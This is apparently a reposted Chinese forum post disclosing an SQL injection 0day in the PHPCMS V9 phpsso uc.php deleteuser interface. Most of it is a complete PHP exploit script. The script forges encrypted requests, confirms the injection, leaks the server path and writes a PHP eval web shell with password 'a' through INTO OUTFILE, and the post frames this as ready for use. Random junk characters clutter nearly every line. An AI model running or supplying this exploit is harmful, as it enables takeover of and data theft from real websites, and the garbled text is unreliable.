PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。9 y1 @# n' k& r: ~2 I/ k. |9 P
/ ?5 L' r$ K6 z5 D; o9 M! b; t
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
& I. W- O' ^+ n; n$ |- s5 ~9 W2 A0 W3 i! Z6 r3 J
漏洞分析:! I3 s z4 H2 N0 c5 I% V$ x% g
1.未启用ucenter服务的情况下uc_key为空
0 q9 L# Q* N1 j- Z- I C# hdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));' p6 O# W' u2 ^8 |" _$ z
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
% |6 J: z u# ` u$ U3 Y public function deleteuser($get,$post) {
6 L/ }% r/ [9 j' f' G pc_base::load_app_func('global', 'admin');
* P0 w/ S1 \: p' F9 v7 |1 y pc_base::load_app_class('messagequeue', 'admin' , 0);
* q! j" A6 K* B$ t5 w% s $ids = new_stripslashes($get['ids']);
8 j H4 r' \9 N2 V+ G" s; I $s = $this->member_db->select("ucuserid in ($ids)", "uid");8 A4 \: [0 e. c& g- k1 O/ F
SQL语句为3 b# N* o4 t& t t6 A
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)$ d. T/ x! l" R0 C* H$ M
! y% G8 p+ v0 S/ {( g/ d- `% q) x利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell' T4 X5 I& P9 `' {6 y. ], p
<?php% f% q3 a9 h3 w
print_r('
8 Z9 Q6 v }$ f* \' W---------------------------------------------------------------------------
4 _! k% L# O* a3 v1 G- i) j: J9 ePHPcms (v9 or Old Version) uc api sql injection 0day
' A- b6 y- J- j$ D7 cby rayh4c#80sec.com
2 y4 B& U5 E; n* ~7 U---------------------------------------------------------------------------- ^% z. l% Q/ D, M0 C. T
');0 S. o Q, e- T! J
/ m# ?6 ~+ `! T# E. ^; }
if ($argc<3) {- @# J2 V" j% w: k; M
print_r('
3 `5 U% W# z# S$ i, R/ T$ |---------------------------------------------------------------------------
- S J& c- Q! V3 j" c: fUsage: php '.$argv[0].' host path OPTIONS6 W! m$ F4 Z' C) o8 U4 U. s$ _+ i
host: target server (ip/hostname)
* Z! Z2 O. U2 N9 }, rpath: path to phpcms( o& h j4 g: H0 J0 X
Options:9 U+ c b$ D9 n" h% K
-p[port]: specify a port other than 80+ S' e, `, @6 a) S6 |9 H: c3 b
-P[ip:port]: specify a proxy
1 Z0 e7 b( d; DExample:# ?0 i6 h3 R8 p; b1 R K$ r
php '.$argv[0].' localhost /+ \6 ?' D# q" ~0 ^
php '.$argv[0].' localhost /phpcms/ -p81' B2 N4 H2 w* s2 {3 m
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
1 j: N( _ f: ?) L---------------------------------------------------------------------------
9 W" S: |1 n+ a5 d" e');( |' z3 v! t% h: p, V7 g/ |2 Q$ l: \
die; b, r2 D" d' I0 \$ y
}
9 Z+ b. h. p' L4 U8 \8 k
4 B6 k4 f5 j: b& a* C, u; ierror_reporting(7);6 B" _+ m4 i9 ~* w
ini_set("max_execution_time",0);
5 z& B4 Q" S3 \, rini_set("default_socket_timeout",5);
4 X' x% G7 r2 c3 ] p5 z* \+ R
5 Q H" I, M! z2 |function quick_dump($string), H/ C* o+ f; c1 x- T
{0 D7 }: G7 A# F9 r. `8 \
$result='';$exa='';$cont=0;
& G, h2 Z+ r k: F+ M2 Z for ($i=0; $i<=strlen($string)-1; $i++)
. I0 Y2 a, ?8 v, T/ v- M0 C3 w {
3 K- P- Z g1 B5 B4 V7 `. o if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))# E7 s) n/ O/ G9 Z5 v1 h8 F
{$result.=" .";}
1 R4 z5 o2 l2 E/ F( y- x else+ t; a0 ]6 P6 P: W0 `
{$result.=" ".$string[$i];}
4 f* ]' u. d1 G! s9 b* k# j9 z if (strlen(dechex(ord($string[$i])))==2)
: K5 f6 t5 V4 G {$exa.=" ".dechex(ord($string[$i]));}, u- |. Z5 u6 @, L# N7 f
else
, r& d9 f1 E! W% N {$exa.=" 0".dechex(ord($string[$i]));}7 y) P) ~# C! |" x
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}0 C! |# R: j1 N9 ]8 |6 q: {( f
}
. Y' G! v" {. j! o return $exa."\r\n".$result;- k9 }6 t" `# C$ W0 U$ S5 q
}
( ]# ]$ [& [6 l2 I" U6 ]' z$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
7 l" x# \. @$ G, Z$ z0 c( j$ P- P6 Z7 H* E; U5 L
function send($packet)
4 d; ^: Q$ X- H) ~: p{
5 g* X- Q* n! \ global $proxy, $host, $port, $html, $proxy_regex;
7 l0 y' r9 X( u( C" ? if ($proxy=='') {
& x" @: o. e1 I: i2 }/ Q $ock=fsockopen(gethostbyname($host),$port);2 x' Y6 z3 g7 X
if (!$ock) {3 ]! y' H! K" r1 P8 o# M
echo 'No response from '.$host.':'.$port; die;
4 P c# K0 W+ x) x4 J. U& g* U }+ D6 D1 l, b3 P4 V1 B
}, S. Z1 u+ ?% n, V( P
else {# c; _" X, z; H$ M
$c = preg_match($proxy_regex,$proxy);6 _" ^4 ~$ J- T1 t6 v5 w
if (!$c) {9 S) b: i8 u5 h! e
echo 'Not a valid proxy...';die;/ x! ?. t- m9 B2 r
}
/ p4 S/ L/ V* G) \! } $parts=explode(':',$proxy);
. x' }" M, W( A: `; q $parts[1]=(int)$parts[1];3 {1 o9 m r, c/ e ^9 P4 B
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";( F/ ?9 N' h7 P& s3 Y
$ock=fsockopen($parts[0],$parts[1]);8 x/ Q! F8 X# x+ g2 Z4 `
if (!$ock) {
+ }9 v; |) @% A# b echo 'No response from proxy...';die;
+ E! X3 y* H6 P& G1 z+ {: w/ `# m }, n* Y5 Q: w, ~
}
7 i( n' C5 m5 l# F l fputs($ock,$packet);
2 v. t- k$ e& E2 H2 W# _7 H6 T if ($proxy=='') {
8 c7 m6 r6 L( j7 H0 e3 N $html='';: k6 A9 q4 O N) V( {
while (!feof($ock)) {0 G; z4 m6 f$ |1 k) R4 X! i
$html.=fgets($ock);
1 l& N* n* Y' ~# W" a9 I+ l }1 k: N2 |! e1 S
}
/ o% S& O+ [( M else {
( n7 Y- @/ G' @4 ^ $html='';
! e, f$ v6 x( n& s while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {$ k7 k/ `" z+ C! w# ]- U
$html.=fread($ock,1);( G2 I5 V( ^6 N4 r
}4 `' \* \) _$ ?' G. `: L( Z
}1 N o& {* i$ P. G' P) r
fclose($ock);) {+ Q" v% Z; I3 Z
}; E* c. _9 N9 F! C% {6 z
5 `8 h2 |* Y6 j; X. B, \
$host=$argv[1];' B( }4 w( U p2 C4 V% x( y' i6 N
$path=$argv[2];; R7 A& k; H1 w/ A) p2 \* y
$port=80;% ?9 @2 H# r" o( f8 U& Z
$proxy="";
) w* ^5 i: w, e! m( bfor ($i=3; $i<$argc; $i++){7 O/ Q) Q/ d! a! I0 S' n2 X
$temp=$argv[$i][0].$argv[$i][1];
" K3 r5 S$ Q, K8 q: G' X* i9 qif ($temp=="-p")1 R3 x$ a8 O# D8 p5 @# f
{
3 ~; r/ I8 X6 c0 L+ x) C# B $port=(int)str_replace("-p","",$argv[$i]);
& N1 A' M j4 m% `+ x}
# O: V3 d. y a5 O( U' _1 Iif ($temp=="-P")
% W7 `3 ~3 x, e$ e4 ?1 y* I9 K{
( u& L$ X, C# x $proxy=str_replace("-P","",$argv[$i]);1 m& F6 m- R3 u$ _( b
}
% m' k* D! ~8 P* f/ m}0 o- X: @: Z- X
+ B- |8 p+ |. m$ p% qif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}6 x/ d2 h' Q ^* e$ \: X3 H) o
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}. y9 @- ~! ^ o0 T/ @5 R' @
$ i" p1 ^6 i8 i/ U$ k8 D3 m$ ufunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
* v! |: |; Z/ B0 j1 y. m" _" D0 x9 l! L; J- ]& n
$ckey_length = 4;, k# Z* H, J+ v; O5 m, R7 e
3 g$ g3 ?4 D9 B& g! s3 r
$key = md5($key ? $key : '');
- t5 l; q: a" {6 j% Z, \' v $keya = md5(substr($key, 0, 16));
$ V* t, Z( \; h9 g! Z+ | $keyb = md5(substr($key, 16, 16));
" h& {7 T# m1 F: @/ F9 c4 {3 k $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';5 B" m9 B& P8 u2 M v& Q
) s; V) w, j& N7 ?4 \3 G. f% O $cryptkey = $keya.md5($keya.$keyc);4 k; r& Z/ A1 J. l
$key_length = strlen($cryptkey);
; Q5 C$ x. g5 g9 e' d/ p) b! K4 x5 t: e- y9 P* A& O" F [4 k1 U( L
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
& G7 n9 }# A X9 l1 ?2 x $string_length = strlen($string);2 P' ?! R+ U- U( n! X
2 q2 r6 I R" `* f, h. v $result = '';; a" m2 Y0 J4 I5 W
$box = range(0, 255);
6 S8 C" m7 h( C, g" D' Z1 F
$ E0 y6 B4 f8 [: x+ t $rndkey = array();
+ K' I% W/ m1 B& S( g! |7 l# ~2 ? L for($i = 0; $i <= 255; $i++) {
1 t! j8 S7 B+ L! D $rndkey[$i] = ord($cryptkey[$i % $key_length]);; O- B0 L$ Z7 `: l: `
}
9 g( E, x7 S2 b( n" l
: S* V* F @+ |2 i4 c" t for($j = $i = 0; $i < 256; $i++) {
& g# @4 t: J3 \' s6 x $j = ($j + $box[$i] + $rndkey[$i]) % 256;# }8 p7 ]0 d2 }7 E1 p) T
$tmp = $box[$i];% I( d' [) a8 T9 q1 D
$box[$i] = $box[$j];
1 v. W! `: w$ l) W $box[$j] = $tmp;4 e0 N0 O b1 G1 `2 K+ l; h. k9 n
}
3 V& o: Y6 r9 C$ Q: ~. `- G% g+ ^9 W3 }( e9 F: c" U) r+ e/ w4 S" }( L
for($a = $j = $i = 0; $i < $string_length; $i++) {
3 o9 I. |5 W% m( H5 j) e4 F) |3 n $a = ($a + 1) % 256;
- Q: q# l4 l; e! ]# {( i $j = ($j + $box[$a]) % 256;
, O% N) E; @9 J" x# ` E8 Q $tmp = $box[$a];
+ k: q5 J V1 u% J+ u* [ $box[$a] = $box[$j];' K2 x5 {6 {2 r
$box[$j] = $tmp;
9 B6 a0 _+ y- `3 F$ \ $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));) t9 N! F5 ?7 r6 Y7 ?) P
}( K( a C) @1 ?. ]( O7 w
. U0 t' {2 ?0 \+ ?5 h% }; q if($operation == 'DECODE') {7 W, I/ w/ h" J
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {8 l2 Y# M& A% E9 ~, g
return substr($result, 26);
0 v9 @9 j% l, ?7 Y' \9 [6 {% ` M } else {8 i. n8 V* h% p# |& P
return '';$ v O* v0 M: n
}
b0 ?! g0 n/ Z' N2 G) r u } else {) R- d3 P4 t/ n9 y. \$ o$ I
return $keyc.str_replace('=', '', base64_encode($result));3 ?" V6 A! N b+ p6 h. q% J
}* j, v6 n) |9 \% ^2 O
2 A8 a$ t8 h( _}
8 v: D' a4 U/ D6 `6 B* o" u: ], Y0 B& {! g3 \% R# k
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";# c" U- l$ u1 O
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
8 ?; t: W+ q2 yecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
3 _! C# e$ Y; N' t$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
0 W5 ]) k' x w3 Z$packet.="User-Agent: Mozilla/5.0\r\n";6 |$ Q! ]) |* k
$packet.="Host: ".$host."\r\n";
- |& C9 y! g$ z' C- R4 w$packet.="Connection: Close\r\n\r\n";) v0 N# p6 ^+ U2 |% }0 [
send($packet); f* \7 ~9 ^5 J6 n: r. y/ R- R
if(strpos($html,"MySQL Errno") > 0){3 R- w* k$ w+ ~' H1 q
echo "[2] 发现存在SQL注入漏洞"."\n";+ d# g9 m5 ?7 h4 t9 C
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
+ [/ T3 {1 t! r) S! f, |$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
" D0 C1 r! X2 p2 f$packet.="User-Agent: Mozilla/5.0\r\n";
% p0 p$ t6 N+ z$ _) Z8 V H+ M$packet.="Host: ".$host."\r\n";. F ^- W5 g3 J/ h6 e* S2 X
$packet.="Connection: Close\r\n\r\n";! z3 j1 o' T1 `' ~; O! V
send($packet);
& p" [) F z" H! p, f( M' \! ]preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
( v1 j9 d* k' g% P//print_r($matches);, o% ]8 B) M9 k$ n2 ^8 l
if(!empty($matches)){3 y2 H6 G- }7 }1 E r
echo "[4] 得到web路径 " . $matches[0]."\n";9 }- e& z j/ }$ ]
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
+ z* e* @- z3 A5 h R7 k$SQL = "time=999999999999999999999999&ids=1)";
: Z* R8 G& ?$ j# y7 q3 k" W$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";. O6 u! G+ v. z6 v" q" _
$SQL.="&action=deleteuser";/ P, b4 [& n- x; R; G
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
; @8 t4 G( G; j3 _echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
c- y; Z; C) P6 ~9 r- }1 p8 d$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";$ [2 l/ K8 A* ^( E) l
$packet.="User-Agent: Mozilla/5.0\r\n";5 T0 e1 n: [* L( Y/ U1 [" C
$packet.="Host: ".$host."\r\n";
. d$ V! `: y9 L5 O9 `9 V: i. q0 y. d( @$packet.="Connection: Close\r\n\r\n";
$ G% P& |+ a3 L! ~1 D, ysend($packet);# @ s" Y/ V2 Q. B6 u
if(strpos($html,"Access denied") > 0){
; @- l' M4 F( i4 b2 I8 }. Lecho "[-] MYSQL权限过低 禁止写入文件 ";
& j" y/ a5 L- A3 _, t, U& S! ^die;6 k" Q J: t2 T) L* F; H
}) n/ J F- k/ i( L
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";$ {8 c0 y& y$ T: \0 X
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
# ]) p! s) ^8 U2 w0 s5 p3 \+ j2 g$packet.="User-Agent: Mozilla/5.0\r\n";
+ F/ K% l) c# C) e9 g& H$packet.="Host: ".$host."\r\n";( R- m+ {! @* u' t' \% a
$packet.="Connection: Close\r\n\r\n";
7 ^1 m% L" ^: z: u; i. Msend($packet);
@0 {/ s+ K3 Q' w/ zif(strpos($html,"<title>phpinfo()</title>") > 0){
0 T9 g+ c2 F0 w3 k$ I; Z0 Yecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";( I7 Y$ |6 y% E% c& V0 q
}
7 ?; {4 n6 z* j; J# J) L/ P}else{
# j9 {8 X) R- a$ t9 g$ a( ]# E& Gecho "[-]未取到web路径 ";
( v/ l% w7 @( R5 r}) `0 U# U; G4 r$ \3 s I/ u
}else{
) R2 A: E% T! |+ [8 @+ Wecho "[*]不存在SQL注入漏洞"."\n";( l2 N* Y" ~5 X* ]+ `
}
. \- X% @. {* H5 ?
. A J% U. N; d3 O1 R8 a?>
2 Z0 I+ H8 [" Y9 _ |